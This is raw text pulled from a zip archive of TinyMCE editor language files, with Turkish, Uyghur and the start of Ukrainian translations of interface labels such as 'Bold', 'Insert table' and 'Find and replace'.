"Headers": "Ba\u015fl\u0131klar",
"Select all": "T\u00fcm\u00fcn\u00fc se\u00e7",
"Header 3": "Ba\u015fl\u0131k 3",
"Blocks": "Bloklar",
"Undo": "Geri Al",
"Strikethrough": "\u00dcst\u00fc \u00e7izili",
"Bullet list": "S\u0131ras\u0131z liste",
"Header 1": "Ba\u015fl\u0131k 1",
"Superscript": "\u00dcst simge",
"Clear formatting": "Bi\u00e7imi temizle",
"Font Sizes": "Yaz\u0131tipi
B\u00fcy\u00fckl\u00fc\u011f\u00fc",
"Subscript": "Alt simge",
"Header 6": "Ba\u015fl\u0131k 6",
"Redo": "Yinele",
"Paragraph": "Paragraf",
"Ok": "Tamam",
"Bold": "Kal\u0131n",
"Code": "Kod",
"Italic": "\u0130talik",
"Align center": "Ortala",
"Header 5": "Ba\u015fl\u0131k 5",
"Decrease indent": "Girintiyi azalt",
"Header 4": "Ba\u015fl\u0131k 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "D\u00fcz metin modunda
yap\u0131\u015ft\u0131r. Bu se\u00e7ene\u011fi kapatana kadar
i\u00e7erikler d\u00fcz metin olarak
yap\u0131\u015ft\u0131r\u0131l\u0131r.",
"Underline": "Alt\u0131 \u00e7izili",
"Cancel": "\u0130ptal",
"Justify": "\u0130ki yana yasla",
"Inline": "Sat\u0131r i\u00e7i",
"Copy": "Kopyala",
"Align left": "Sola hizala",
"Visual aids": "G\u00f6rsel ara\u00e7lar",
"Lower Greek": "K\u00fc\u00e7\u00fck Yunan alfabesi",
"Square": "Kare",
"Default": "Varsay\u0131lan",
"Lower Alpha": "K\u00fc\u00e7\u00fck ABC",
"Circle": "Daire",
"Disc": "Disk",
"Upper Alpha": "B\u00fcy\u00fck ABC",
"Upper Roman": "B\u00fcy\u00fck Roman alfabesi",
"Lower Roman": "K\u00fc\u00e7\u00fck Roman alfabesi",
"Name": "\u0130sim",
"Anchor": "\u00c7apa",
"You have unsaved changes are you sure you want to navigate
away?": "Kaydedilmemi\u015f de\u011fi\u015fiklikler var, sayfadan
ayr\u0131lmak istedi\u011finize emin misiniz?",
"Restore last draft": "Son tasla\u011f\u0131 kurtar",
"Special character": "\u00d6zel karakter",
"Source code": "Kaynak kodu",
"Right to left": "Sa\u011fdan sola",
"Left to right": "Soldan sa\u011fa",
"Emoticons": "G\u00fcl\u00fcc\u00fckler",
"Robots": "Robotlar",
"Document properties": "Dok\u00fcman \u00f6zellikleri",
"Title": "Ba\u015fl\u0131k",
"Keywords": "Anahtar kelimeler",
"Encoding": "Kodlama",
"Description": "A\u00e7\u0131klama",
"Author": "Yazar",
"Fullscreen": "Tam ekran",
"Horizontal line": "Yatay \u00e7izgi",
"Horizontal space": "Yatay bo\u015fluk",
"Insert\/edit image": "Resim ekle\/d\u00fczenle",
"General": "Genel",
"Advanced": "Geli\u015fmi\u015f",
"Source": "Kaynak",
"Border": "\u00c7er\u00e7eve",
"Constrain proportions": "En - Boy oran\u0131n\u0131
koru",
"Vertical space": "Dikey bo\u015fluk",
"Image description": "Resim a\u00e7\u0131klamas\u0131",
"Style": "Stil",
"Dimensions": "Boyutlar",
"Insert image": "Resim ekle",
"Insert date\/time": "Tarih \/ Zaman ekle",
"Remove link": "Ba\u011flant\u0131y\u0131 kald\u0131r",
"Url": "Url",
"Text to display": "G\u00f6r\u00fcnen yaz\u0131",
"Anchors": "\u00c7apalar",
"Insert link": "Ba\u011flant\u0131 ekle",
"New window": "Yeni pencere",
"None": "Hi\u00e7biri",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "Hedef",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Ba\u011flant\u0131
ekle\/d\u00fczenle",
"Insert\/edit video": "Video ekle\/d\u00fczenle",
"Poster": "Poster",
"Alternative source": "Alternatif kaynak",
"Paste your embed code below:": "Medya g\u00f6mme kodunu
buraya yap\u0131\u015ft\u0131r:",
"Insert video": "Video ekle",
"Embed": "G\u00f6mme",
"Nonbreaking space": "B\u00f6l\u00fcnemez bo\u015fluk",
"Page break": "Sayfa sonu",
"Paste as text": "Metin olarak
yap\u0131\u015ft\u0131r",
"Preview": "\u00d6nizleme",
"Print": "Yazd\u0131r",
"Save": "Kaydet",
"Could not find the specified string.": "Herhangi bir
sonu\u00e7 bulunamad\u0131.",
"Replace": "De\u011fi\u015ftir",
"Next": "Sonraki",
"Whole words": "Tam s\u00f6zc\u00fckler",
"Find and replace": "Bul ve de\u011fi\u015ftir",
"Replace with": "Bununla de\u011fi\u015ftir",
"Find": "Bul",
"Replace all": "T\u00fcm\u00fcn\u00fc
de\u011fi\u015ftir",
"Match case": "B\u00fcy\u00fck \/ K\u00fc\u00e7\u00fck harfe
duyarl\u0131",
"Prev": "\u00d6nceki",
"Spellcheck": "Yaz\u0131m denetimi",
"Finish": "Bitir",
"Ignore all": "T\u00fcm\u00fcn\u00fc yoksay",
"Ignore": "Yoksay",
"Insert row before": "\u00d6ncesine yeni sat\u0131r
ekle",
"Rows": "Sat\u0131rlar",
"Height": "Y\u00fckseklik",
"Paste row after": "Sonras\u0131na sat\u0131r 
yap\u0131\u015ft\u0131r",
"Alignment": "Hizalama",
"Column group": "S\u00fctun grubu",
"Row": "Sat\u0131r",
"Insert column before": "\u00d6ncesine yeni s\u00fctun
ekle",
"Split cell": "H\u00fccreleri ay\u0131r",
"Cell padding": "H\u00fccre i\u00e7 bo\u015flu\u011fu",
"Cell spacing": "H\u00fccre aral\u0131\u011f\u0131",
"Row type": "Sat\u0131r tipi",
"Insert table": "Tablo ekle",
"Body": "G\u00f6vde",
"Caption": "Ba\u015fl\u0131k",
"Footer": "Alt",
"Delete row": "Sat\u0131r\u0131 sil",
"Paste row before": "\u00d6ncesine sat\u0131r
yap\u0131\u015ft\u0131r",
"Scope": "Kapsam",
"Delete table": "Tabloyu sil",
"Header cell": "Ba\u015fl\u0131k h\u00fccresi",
"Column": "S\u00fctun",
"Cell": "H\u00fccre",
"Header": "Ba\u015fl\u0131k",
"Cell type": "H\u00fccre tipi",
"Copy row": "Sat\u0131r\u0131 kopyala",
"Row properties": "Sat\u0131r \u00f6zellikleri",
"Table properties": "Tablo \u00f6zellikleri",
"Row group": "Sat\u0131r grubu",
"Right": "Sa\u011f",
"Insert column after": "Sonras\u0131na yeni s\u00fctun
ekle",
"Cols": "S\u00fctunlar",
"Insert row after": "Sonras\u0131na yeni sat\u0131r
ekle",
"Width": "Geni\u015flik",
"Cell properties": "H\u00fccre \u00f6zellikleri",
"Left": "Sol",
"Cut row": "Sat\u0131r\u0131 kes",
"Delete column": "S\u00fctunu sil",
"Center": "Orta",
"Merge cells": "H\u00fccreleri birle\u015ftir",
"Insert template": "\u015eablon ekle",
"Templates": "\u015eablonlar",
"Background color": "Arkaplan rengi",
"Text color": "Yaz\u0131 rengi",
"Show blocks": "Bloklar\u0131
g\u00f6r\u00fcnt\u00fcle",
"Show invisible characters": "G\u00f6r\u00fcnmez
karakterleri g\u00f6ster",
"Words: {0}": "Kelime: {0}",
"Insert": "Ekle",
"File": "Dosya",
"Edit": "D\u00fczenle",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Zengin Metin Alan\u0131. Men\u00fc
i\u00e7in ALT-F9 k\u0131sayolunu kullan\u0131n. Ara\u00e7 \u00e7ubu\u011fu
i\u00e7in ALT-F10 k\u0131sayolunu kullan\u0131n. Yard\u0131m i\u00e7in
ALT-0 k\u0131sayolunu kullan\u0131n.",
"Tools": "Ara\u00e7lar",
"View": "G\u00f6r\u00fcnt\u00fcle",
"Table": "Tablo",
"Format": "Bi\u00e7im"
});PKR��[ZMtN�>�>tinymce/langs/ug.jsnu�[���tinymce.addI18n('ug',{
"Cut": "\u0643\u06d0\u0633\u0649\u0634",
"Header 2": "\u062a\u06d0\u0645\u0627 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0633\u0649\u0632\u0646\u0649\u06ad \u062a\u0648\u0631
\u0643\u06c6\u0631\u06af\u06c8\u0686\u0649\u06ad\u0649\u0632
\u0642\u0649\u064a\u0649\u067e \u0686\u0627\u067e\u0644\u0627\u0634
\u062a\u0627\u062e\u062a\u0649\u0633\u0649
\u0632\u0649\u064a\u0627\u0631\u06d5\u062a
\u0642\u0649\u0644\u0649\u0634\u0646\u0649
\u0642\u0648\u0644\u0644\u0649\u0645\u0627\u064a\u062f\u06c7.  Ctrl+X\/C\/V
\u062a\u06d0\u0632\u0644\u06d5\u062a\u0645\u06d5
\u0643\u0648\u0646\u06c7\u067e\u0643\u0649\u0633\u0649
\u0626\u0627\u0631\u0642\u0649\u0644\u0649\u0642
\u0643\u06d0\u0633\u0649\u067e \u0686\u0627\u067e\u0644\u0627\u0634
\u0645\u06d5\u0634\u063a\u06c7\u0644\u0627\u062a\u0649
\u0642\u0649\u0644\u0649\u06ad.",
"Div": "Div",
"Paste": "\u0686\u0627\u067e\u0644\u0627\u0634",
"Close": "\u062a\u0627\u0642\u0627\u0634",
"Font Family": "Font Family",
"Pre": "Pre",
"Align right": "\u0626\u0648\u06ad\u063a\u0627
\u062a\u0648\u063a\u06c7\u0631\u0644\u0627\u0634",
"New document": "\u064a\u06d0\u06ad\u0649
\u06be\u06c6\u062c\u062c\u06d5\u062a \u0642\u06c7\u0631\u06c7\u0634",
"Blockquote":
"\u0626\u06d5\u0633\u0643\u06d5\u0631\u062a\u0649\u0634",
"Numbered list": "\u0633\u0627\u0646\u0644\u0649\u0642
\u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643",
"Increase indent":
"\u0643\u06d5\u064a\u0646\u0649\u06af\u06d5
\u0633\u06c8\u0631\u06c8\u0634",
"Formats": "\u0641\u0648\u0631\u0645\u0627\u062a",
"Headers": "Headers",
"Select all": "\u06be\u06d5\u0645\u0645\u0649\u0646\u0649
\u062a\u0627\u0644\u0644\u0627\u0634",
"Header 3": "\u062a\u06d0\u0645\u0627 3",
"Blocks": "Blocks",
"Undo": "\u0626\u0627\u0631\u0642\u0649\u063a\u0627
\u064a\u06d0\u0646\u0649\u0634",
"Strikethrough": "\u0626\u06c6\u0686\u06c8\u0631\u06c8\u0634
\u0633\u0649\u0632\u0649\u0642\u0649",
"Bullet list": "\u0628\u06d5\u0644\u06af\u06d5
\u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643",
"Header 1": "\u062a\u06d0\u0645\u0627 1",
"Superscript":
"\u0626\u06c8\u0633\u062a\u06c8\u0646\u0643\u0649
\u0628\u06d5\u0644\u06af\u06d5",
"Clear formatting":
"\u0641\u0648\u0631\u0645\u0627\u062a\u0646\u0649
\u062a\u0627\u0632\u0644\u0627\u0634",
"Font Sizes": "Font Sizes",
"Subscript":
"\u0626\u0627\u0633\u062a\u0649\u0646\u0642\u0649
\u0628\u06d5\u0644\u06af\u06d5",
"Header 6": "\u062a\u06d0\u0645\u0627 6",
"Redo": "\u0642\u0627\u064a\u062a\u0627
\u0642\u0649\u0644\u0649\u0634",
"Paragraph":
"\u067e\u0627\u0631\u0627\u06af\u0649\u0631\u0627 \u0641",
"Ok":
"\u062c\u06d5\u0632\u0649\u0645\u0644\u06d5\u0634",
"Bold": "\u062a\u0648\u0645",
"Code": "Code",
"Italic": "\u064a\u0627\u0646\u062a\u06c7",
"Align center":
"\u0645\u06d5\u0631\u0643\u06d5\u0632\u06af\u06d5
\u062a\u0648\u063a\u06c7\u0631\u0644\u0627\u0634",
"Header 5": "\u062a\u06d0\u0645\u0627 5",
"Decrease indent":
"\u0626\u0627\u0644\u062f\u0649\u063a\u0627
\u0633\u06c8\u0631\u06c8\u0634",
"Header 4": "\u062a\u06d0\u0645\u0627 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u06be\u0627\u0632\u0649\u0631
\u0686\u0627\u067e\u0644\u0649\u0633\u0649\u06ad\u0649\u0632
\u0633\u0627\u067e \u062a\u06d0\u0643\u0649\u0634
\u0645\u06d5\u0632\u0645\u06c7\u0646\u0649
\u0686\u0627\u067e\u0644\u0649\u0646\u0649\u062f\u06c7.
\u062a\u06d0\u0643\u0649\u0634 \u0634\u06d5\u0643\u0644\u0649\u062f\u06d5
\u0686\u0627\u067e\u0644\u0627\u0634
\u062a\u06d5\u06ad\u0634\u0649\u0643\u0649\u0646\u0649
\u062a\u0627\u0642\u0649\u06cb\u06d5\u062a\u0643\u06d5\u0646\u06af\u06d5
\u0642\u06d5\u062f\u06d5\u0631.",
"Underline": "\u0626\u0627\u0633\u062a\u0649
\u0633\u0649\u0632\u0649\u0642",
"Cancel":
"\u0642\u0627\u0644\u062f\u06c7\u0631\u06c7\u0634",
"Justify": "\u0626\u0649\u0643\u0643\u0649
\u064a\u0627\u0646\u063a\u0627
\u062a\u0648\u063a\u06c7\u0631\u0644\u0627\u0634",
"Inline": "Inline",
"Copy": "\u0643\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Align left": "\u0633\u0648\u0644\u063a\u0627
\u062a\u0648\u063a\u0631\u0649\u0644\u0627\u0634",
"Visual aids":
"\u0626\u06d5\u0633\u0643\u06d5\u0631\u062a\u0649\u0634",
"Lower Greek":
"\u06af\u0631\u06d0\u062a\u0633\u0649\u064a\u0649\u0686\u06d5
\u0643\u0649\u0686\u0649\u0643
\u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Square": "\u0643\u06cb\u0627\u062f\u0631\u0627\u062a",
"Default": "\u0633\u06c8\u0643\u06c8\u062a",
"Lower Alpha":
"\u0626\u0649\u0646\u06af\u0649\u0644\u0649\u0632\u0686\u06d5
\u0643\u0649\u0686\u0649\u0643
\u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Circle": "\u0686\u06d5\u0645\u0628\u06d5\u0631",
"Disc": "\u062f\u06d0\u0633\u0643\u0627",
"Upper Alpha":
"\u0626\u0649\u0646\u06af\u0649\u0644\u0649\u0632\u0686\u06d5
\u0686\u0648\u06ad \u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Upper Roman": "\u0631\u0649\u0645\u0686\u06d5
\u0686\u0648\u06ad \u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Lower Roman": "\u0631\u0649\u0645\u0686\u06d5
\u0643\u0649\u0686\u0649\u0643
\u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Name": "\u0646\u0627\u0645\u0649",
"Anchor": "\u0626\u06c7\u0644\u0627\u0646\u0645\u0627",
"You have unsaved changes are you sure you want to navigate
away?": "\u0633\u0649\u0632 \u062a\u06d0\u062e\u0649
\u0645\u06d5\u0632\u0645\u06c7\u0646\u0646\u0649
\u0633\u0627\u0642\u0644\u0649\u0645\u0649\u062f\u0649\u06ad\u0649\u0632\u060c
\u0626\u0627\u064a\u0631\u0649\u0644\u0627\u0645\u0633\u0649\u0632\u061f",
"Restore last draft":
"\u0626\u0627\u062e\u0649\u0631\u0642\u0649
\u0643\u06c7\u067e\u0649\u064a\u0649\u06af\u06d5
\u0642\u0627\u064a\u062a\u0649\u0634",
"Special character":
"\u0626\u0627\u0644\u0627\u06be\u0649\u062f\u06d5
\u0628\u06d5\u0644\u06af\u0649\u0644\u06d5\u0631",
"Source code": "\u0626\u06d5\u0633\u0644\u0649
\u0643\u0648\u062f\u0649",
"Right to left": "\u0626\u0648\u06ad\u062f\u0649\u0646
\u0633\u0648\u0644\u063a\u0627",
"Left to right": "\u0633\u0648\u0644\u062f\u0649\u0646
\u0626\u0648\u06ad\u063a\u0627 ",
"Emoticons": "\u0686\u0649\u0631\u0627\u064a
\u0626\u0649\u067e\u0627\u062f\u06d5",
"Robots": "\u0645\u0627\u0634\u0649\u0646\u0627
\u0626\u0627\u062f\u06d5\u0645",
"Document properties": "\u06be\u06c6\u062c\u062c\u06d5\u062a
\u062e\u0627\u0633\u0644\u0649\u0642\u0649",
"Title": "\u062a\u06d0\u0645\u0627",
"Keywords":
"\u06be\u0627\u0644\u0642\u0649\u0644\u0649\u0642
\u0633\u06c6\u0632",
"Encoding": "\u0643\u0648\u062f\u0644\u0627\u0634",
"Description":
"\u062a\u06d5\u0633\u0649\u06cb\u0649\u0631",
"Author": "\u0626\u06c7\u0644\u0627\u0646\u0645\u0627",
"Fullscreen": "\u067e\u06c8\u062a\u06c8\u0646
\u0626\u06d0\u0643\u0631\u0627\u0646",
"Horizontal line":
"\u06af\u0648\u0631\u0632\u0649\u0646\u062a\u0627\u0644
\u0642\u06c7\u0631",
"Horizontal space":
"\u06af\u0648\u0631\u0632\u0649\u0646\u062a\u0627\u0644
\u0628\u0648\u0634\u0644\u06c7\u0642",
"Insert\/edit image": "\u0631\u06d5\u0633\u0649\u0645
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634 \u064a\u0627\u0643\u0649
\u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"General":
"\u0626\u0627\u062f\u06d5\u062a\u062a\u0649\u0643\u0649",
"Advanced":
"\u0626\u0627\u0644\u0627\u06be\u0649\u062f\u06d5",
"Source": "\u0645\u06d5\u0646\u0628\u06d5",
"Border": "\u064a\u0627\u0642\u0627",
"Constrain proportions":
"\u0626\u06d0\u06af\u0649\u0632\u0644\u0649\u0643-\u0643\u06d5\u06ad\u0644\u0649\u0643
\u0646\u0649\u0633\u067e\u0649\u062a\u0649\u0646\u0649
\u0633\u0627\u0642\u0644\u0627\u0634",
"Vertical space":
"\u06cb\u06d0\u0631\u062a\u0649\u0643\u0627\u0644
\u0628\u0648\u0634\u0644\u06c7\u0642",
"Image description": "\u0631\u06d5\u0633\u0649\u0645
\u062a\u06d5\u0633\u06cb\u0649\u0631\u0649",
"Style": "\u0626\u06c7\u0633\u0644\u06c7\u067e",
"Dimensions":
"\u0686\u0648\u06ad-\u0643\u0649\u0686\u0649\u0643",
"Insert image": "\u0631\u06d5\u0633\u0649\u0645
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Insert date\/time":
"\u0686\u0649\u0633\u0644\u0627\/\u06cb\u0627\u0642\u0649\u062a
\u0643\u0649\u0631\u06af\u06c8\u0632\u06c8\u0634",
"Remove link": "Remove link",
"Url": "\u0626\u0627\u062f\u0631\u0649\u0633",
"Text to display":
"\u0643\u06c6\u0631\u06c8\u0646\u0649\u062f\u0649\u063a\u0627\u0646
\u0645\u06d5\u0632\u0645\u06c7\u0646",
"Anchors": "Anchors",
"Insert link": "\u0626\u06c7\u0644\u0649\u0646\u0649\u0634
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"New window": "\u064a\u06d0\u06ad\u0649
\u0643\u06c6\u0632\u0646\u06d5\u0643",
"None": "\u064a\u0648\u0642",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "\u0646\u0649\u0634\u0627\u0646",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link":
"\u0626\u06c7\u0644\u0649\u0646\u0649\u0634
\u0642\u06c7\u0633\u062a\u06c7\u0631\u06c7\u0634\/\u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Insert\/edit video": "\u0633\u0649\u0646
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634\/\u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Poster":
"\u064a\u0648\u0644\u0644\u0649\u063a\u06c7\u0686\u0649",
"Alternative source":
"\u062a\u06d5\u0633\u06cb\u0649\u0631\u0649",
"Paste your embed code below:":
"\u0642\u0649\u0633\u062a\u06c7\u0631\u0645\u0627\u0642\u0686\u0649
\u0628\u0648\u0644\u063a\u0627\u0646 \u0643\u0648\u062f\u0646\u0649
\u0686\u0627\u067e\u0644\u0627\u06ad",
"Insert video": "\u0633\u0649\u0646
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Embed":
"\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Nonbreaking space":
"\u0628\u0648\u0634\u0644\u06c7\u0642",
"Page break": "\u0628\u06d5\u062a
\u0626\u0627\u062e\u0649\u0631\u0644\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Paste as text": "\u062a\u06d0\u0643\u0649\u0634
\u0634\u06d5\u0643\u0644\u0649\u062f\u06d5
\u0686\u0627\u067e\u0644\u0627\u0634",
"Preview": "\u0643\u06c6\u0631\u06c8\u0634",
"Print": "\u0628\u0627\u0633\u0645\u0627\u0642 ",
"Save": "\u0633\u0627\u0642\u0644\u0627\u0634",
"Could not find the specified string.":
"\u0626\u0649\u0632\u062f\u0649\u0645\u06d5\u0643\u0686\u0649
\u0628\u0648\u0644\u063a\u0627\u0646
\u0645\u06d5\u0632\u0645\u06c7\u0646\u0646\u0649
\u062a\u0627\u067e\u0627\u0644\u0645\u0649\u062f\u0649.",
"Replace":
"\u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Next":
"\u0643\u06d0\u064a\u0649\u0646\u0643\u0649\u0633\u0649",
"Whole words": "\u062a\u0648\u0644\u06c7\u0642 
\u0645\u0627\u0633\u0644\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Find and replace": "\u0626\u0649\u0632\u062f\u06d5\u0634
\u06cb\u06d5
\u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Replace with":
"\u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Find": "\u0626\u0649\u0632\u062f\u06d5\u0634",
"Replace all": "\u06be\u06d5\u0645\u0645\u0649\u0646\u0649
\u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Match case": "\u0686\u0648\u06ad
\u0643\u0649\u0686\u0649\u0643 \u06be\u06d5\u0631\u0649\u067e\u0646\u0649
\u067e\u06d5\u0631\u0649\u0642\u0644\u06d5\u0646\u062f\u06c8\u0631\u06c8\u0634",
"Prev":
"\u0626\u0627\u0644\u062f\u0649\u0646\u0642\u0649\u0633\u0649",
"Spellcheck": "\u0626\u0649\u0645\u0644\u0627
\u062a\u06d5\u0643\u0634\u06c8\u0631\u06c8\u0634",
"Finish":
"\u0626\u0627\u062e\u0649\u0631\u0644\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Ignore all": "\u06be\u06d5\u0645\u0645\u0649\u0646\u0649
\u0626\u06c6\u062a\u0643\u06c8\u0632\u06c8\u0634",
"Ignore":
"\u0626\u06c6\u062a\u0643\u06c8\u0632\u06c8\u0634",
"Insert row before":
"\u0626\u0627\u0644\u062f\u0649\u063a\u0627 \u0642\u06c7\u0631
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Rows": "\u0642\u06c7\u0631",
"Height":
"\u0626\u06d0\u06af\u0649\u0632\u0644\u0649\u0643\u0649",
"Paste row after": "\u0642\u06c7\u0631
\u0643\u06d5\u064a\u0646\u0649\u06af\u06d5
\u0686\u0627\u067e\u0644\u0627\u0634",
"Alignment":
"\u064a\u06c6\u0644\u0649\u0646\u0649\u0634\u0649",
"Column group": "\u0631\u06d5\u062a
\u06af\u06c7\u0631\u06c7\u067e\u067e\u0649\u0633\u0649",
"Row": "\u0642\u06c7\u0631",
"Insert column before": "\u0631\u06d5\u062a
\u0626\u0627\u0644\u062f\u0649\u063a\u0627
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Split cell": "\u0643\u0627\u062a\u06d5\u0643
\u067e\u0627\u0631\u0686\u0649\u0644\u0627\u0634",
"Cell padding": "\u0643\u0627\u062a\u06d5\u0643
\u0626\u0649\u0686\u0643\u0649
\u0626\u0627\u0631\u0649\u0644\u0649\u0642\u0649",
"Cell spacing": "\u0643\u0627\u062a\u06d5\u0643
\u0633\u0649\u0631\u062a\u0642\u0649
\u0626\u0627\u0631\u0649\u0644\u0649\u0642\u0649",
"Row type": "\u0642\u06c7\u0631
\u062a\u0649\u067e\u0649",
"Insert table": "\u062c\u06d5\u062f\u06cb\u06d5\u0644
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Body": "\u0628\u06d5\u062f\u0649\u0646\u0649",
"Caption":
"\u0686\u06c8\u0634\u06d5\u0646\u062f\u06c8\u0631\u06c8\u0634",
"Footer": "\u067e\u06c7\u062a\u0649",
"Delete row": "\u0642\u06c7\u0631
\u0626\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Paste row before": "\u0642\u06c7\u0631
\u0626\u0627\u0644\u062f\u0649\u063a\u0627
\u0686\u0627\u067e\u0644\u0627\u0634",
"Scope": "\u062f\u0627\u0626\u0649\u0631\u06d5",
"Delete table": "\u062c\u06d5\u062f\u06cb\u06d5\u0644
\u0626\u06c6\u0686\u06c8\u0631\u0634",
"Header cell": "\u0628\u0627\u0634
\u0643\u0627\u062a\u06d5\u0643",
"Column": "\u0631\u06d5\u062a",
"Cell": "\u0643\u0627\u062a\u06d5\u0643",
"Header": "\u0628\u06d0\u0634\u0649",
"Cell type": "\u0643\u0627\u062a\u06d5\u0643
\u062a\u0649\u067e\u0649",
"Copy row": "\u0642\u06c7\u0631
\u0643\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Row properties": "\u0642\u06c7\u0631
\u062e\u0627\u0633\u0644\u0649\u0642\u0649",
"Table properties": "\u062c\u06d5\u062f\u06cb\u06d5\u0644
\u062e\u0627\u0633\u0644\u0649\u0642\u0649",
"Row group": "\u0642\u06c7\u0631
\u06af\u06c7\u0631\u06c7\u067e\u067e\u0649\u0633\u0649",
"Right": "\u0626\u0648\u06ad",
"Insert column after": "\u0631\u06d5\u062a
\u0643\u06d5\u064a\u0646\u0649\u06af\u06d5
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Cols": "\u0631\u06d5\u062a",
"Insert row after":
"\u0626\u0627\u0631\u0642\u0649\u063a\u0627 \u0642\u06c7\u0631
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Width": "\u0643\u06d5\u06ad\u0644\u0649\u0643\u0649",
"Cell properties": "\u0643\u0627\u062a\u06d5\u0643
\u062e\u0627\u0633\u0644\u0649\u0642\u0649",
"Left": "\u0633\u0648\u0644",
"Cut row": "\u0642\u06c7\u0631
\u0643\u06d0\u0633\u0649\u0634",
"Delete column": "\u0631\u06d5\u062a
\u0626\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Center": "\u0645\u06d5\u0631\u0643\u06d5\u0632",
"Merge cells": "\u0643\u0627\u062a\u06d5\u0643
\u0628\u0649\u0631\u0644\u06d5\u0634\u062a\u06c8\u0631\u06c8\u0634",
"Insert template": "\u0626\u06c8\u0644\u06af\u06d5
\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Templates":
"\u0626\u06c8\u0644\u06af\u0649\u0644\u06d5\u0631",
"Background color": "\u0626\u0627\u0631\u0642\u0627
\u0631\u06d5\u06ad\u06af\u0649",
"Text color": "\u062e\u06d5\u062a
\u0631\u06d5\u06ad\u06af\u0649",
"Show blocks": "\u0631\u0627\u064a\u0648\u0646
\u0643\u06c6\u0631\u0633\u0649\u062a\u0649\u0634",
"Show invisible characters":
"\u0643\u06c6\u0631\u06c8\u0646\u0645\u06d5\u064a\u062f\u0649\u063a\u0627\u0646
\u06be\u06d5\u0631\u0649\u067e\u0644\u06d5\u0631\u0646\u0649
\u0643\u06c6\u0631\u0633\u0649\u062a\u0649\u0634",
"Words: {0}": "\u0633\u06c6\u0632: {0}",
"Insert":
"\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"File": "\u06be\u06c6\u062c\u062c\u06d5\u062a",
"Edit":
"\u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Rich Text Area. Press ALT-F9 for menu.
Press ALT-F10 for toolbar. Press ALT-0 for help",
"Tools": "\u0642\u06c7\u0631\u0627\u0644",
"View": "\u0643\u06c6\u0631\u06c8\u0634",
"Table": "\u062c\u06d5\u062f\u06cb\u06d5\u0644",
"Format": "\u0641\u0648\u0631\u0645\u0627\u062a"
});PKR��[i~k]k]tinymce/langs/uk.jsnu�[���tinymce.addI18n('uk',{
"Cut":
"\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438",
"Heading 5":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Header 2":
"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0412\u0430\u0448 \u0431\u0440\u0430\u0443\u0437\u0435\u0440
\u043d\u0435 \u043f\u0456\u0434\u0442\u0440\u0438\u043c\u0443\u0454
\u043f\u0440\u044f\u043c\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f
\u0434\u043e \u0431\u0443\u0444\u0435\u0440\u0443
\u043e\u0431\u043c\u0456\u043d\u0443. \u0411\u0443\u0434\u044c
\u043b\u0430\u0441\u043a\u0430,
\u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442\u0435
